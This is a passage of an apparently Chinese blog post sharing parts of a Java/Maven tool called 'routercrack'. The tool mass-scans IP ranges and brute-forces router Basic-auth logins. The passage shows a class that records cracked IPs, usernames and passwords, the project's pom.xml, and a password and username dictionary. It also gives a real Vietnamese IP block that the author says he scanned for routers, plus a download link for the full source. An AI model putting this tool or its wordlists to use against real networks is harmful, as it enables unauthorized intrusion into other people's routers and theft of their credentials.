            frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
            frame.setVisible(true);
        }
    }
    package cn.com.cisec.routercrack;
    
    import java.io.File;
    import java.io.FileWriter;
    import java.io.IOException;
    import java.io.PrintWriter;
    
    public class ResultFileWriter {
        private static ResultFileWriter resultFileWriter;
        /**
         * 激活的ip
         */
        private PrintWriter activateIpsWriter;
        /**
         * 端口开启
         */
        private PrintWriter openPortInfoWriter;
        /**
         * 是basic认证的IP地址
         */
        private PrintWriter basicInfoWriter;
        /**
         * 破解basic成功的信息
         */
        private PrintWriter basicOkInfoWriter;
        
        private PrintWriter routerInfoWriter;
        
        private PrintWriter routerOkInfoWriter;
        
        private ResultFileWriter(){
            File activateIpsFile  = FileUtil.getActivateIpsFile();
            File openPortIpsFile  = FileUtil.getOpenPortIpsFile();
            File basicIpsFile = FileUtil.getBasicIpsFile();
            File basicOkInfoFile = FileUtil.getBasicOkFile();
            
            try {
                activateIpsWriter= new PrintWriter(new FileWriter(activateIpsFile));
                openPortInfoWriter = new PrintWriter(new FileWriter(openPortIpsFile));
                basicInfoWriter = new PrintWriter(new FileWriter(basicIpsFile));
                basicOkInfoWriter  = new PrintWriter(new FileWriter(basicOkInfoFile));
                routerInfoWriter = new PrintWriter(new FileWriter(FileUtil.getRouterFile()));
                routerOkInfoWriter =  new PrintWriter(new FileWriter(FileUtil.getRouterOkFile()));
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            
            
            
        }
        public static ResultFileWriter getInstance(){
            if(resultFileWriter==null){
                resultFileWriter = new ResultFileWriter();
            }
            return resultFileWriter;
        }
        
        public synchronized void writeActivateIp(String ip){
            activateIpsWriter.println(ip);
            activateIpsWriter.flush();
        }
        
        public synchronized void writeOpenPortInfo(String ip,int port){
            openPortInfoWriter.println(ip+","+port);
            openPortInfoWriter.flush();
        }
        
        public synchronized void writeBasicInfo(String ip,int port){
            basicInfoWriter.println(ip+","+port);
            basicInfoWriter.flush();
        }
        
        public synchronized void writeBasicOkInfo(String ip,int port,String user,String password){
            basicOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password);
            basicOkInfoWriter.flush();
        }
        
        public synchronized void writeRouterInfo(String ip,int port){
            routerInfoWriter.println(ip+","+port);
            routerInfoWriter.flush();
        }
        
        public synchronized void writeRouterOkInfo(String ip,int port,String user,String password){
            routerOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password);
            routerOkInfoWriter.flush();
        }
        
        public void close(){
            activateIpsWriter.flush();
            activateIpsWriter.close();
            openPortInfoWriter.flush();
            openPortInfoWriter.close();
            basicInfoWriter.flush();
            basicInfoWriter.close();
            basicOkInfoWriter.flush();
            basicOkInfoWriter.close();
            routerOkInfoWriter.flush();
            routerOkInfoWriter.close();
            routerInfoWriter.flush();
            routerInfoWriter.close();
            
        }
        /**
         * 将IP地址 端口 用户名 密码 头信息写入文件
         * @param ip
         * @param port
         * @param user
         * @param password
         * @param headInfo
         */
        public void writeBasicOkInfo(String ip, int port, String user,
                String password, String headInfo) {
            basicOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password+",headInfo="+headInfo);
            basicOkInfoWriter.flush();
        }
    }

    2.最最重要的是maven项目的pom.xml文件配置

    pom.xml

    <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
      <modelVersion>4.0.0</modelVersion>
    
      <groupId>cn.com.cisec</groupId>
      <artifactId>routercrack</artifactId>
      <version>0.0.1-SNAPSHOT</version>
      <packaging>jar</packaging>
    
      <name>Routercrack</name>
      <url>http://maven.apache.org</url>
    
      <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
      </properties>
    
      <dependencies>
        <dependency>
          <groupId>junit</groupId>
          <artifactId>junit</artifactId>
          <version>3.8.1</version>
          <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <version>1.2.17</version>
        </dependency>
        <dependency>
            <groupId>org.apache.httpcomponents</groupId>
            <artifactId>httpclient</artifactId>
            <version>4.3.5</version>
        </dependency>
        
        
       
        <dependency>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-resources-plugin</artifactId>
            <version>2.6</version>
        </dependency>
      </dependencies>
    </project>

    3.里面的ips.txt是要扫描的ip地址(下面的地址是越南的ip,我用来扫描越南的路由器)

    113.160.0.0/11

    4.passwords.txt是密码字典,暴力破解的密码库

    admin
    111111
    123qwe123
    abc123
    123456
    xiaoming
    12345678
    iloveyou
    qq123456
    taobao
    root
    wang1234
    password
    12345678
    qwerty
    111111
    monkey
    123123
    654321
    superman
    qazwsx
    michael
    football
    dragon

    5.users.txt用户名的字典

    admin
    administrator

    6.然后是最重要的源码信息

    http://pan.baidu.com/s/1eQPOk9O

  • 相关阅读:
    并发编程的艺术
    Redis字符串实现,SDS与C的区别,空间预分配
    Jvm
    Redis数据结构的实现
    发一篇感谢身边的所有从事it工作的朋友
    BeanFactory 默认的注入实现类DefaultListableBeanFactory
    jsSwitch语句优化
    彻底搞懂 Nginx 的五大应用场景
    Spring Boot 整合 Quartz 轻松实现任务调度!
    js计算两个给定日期之间的天数
  • 原文地址:https://www.cnblogs.com/lr393993507/p/5251196.html
Copyright © 2011-2022 走看看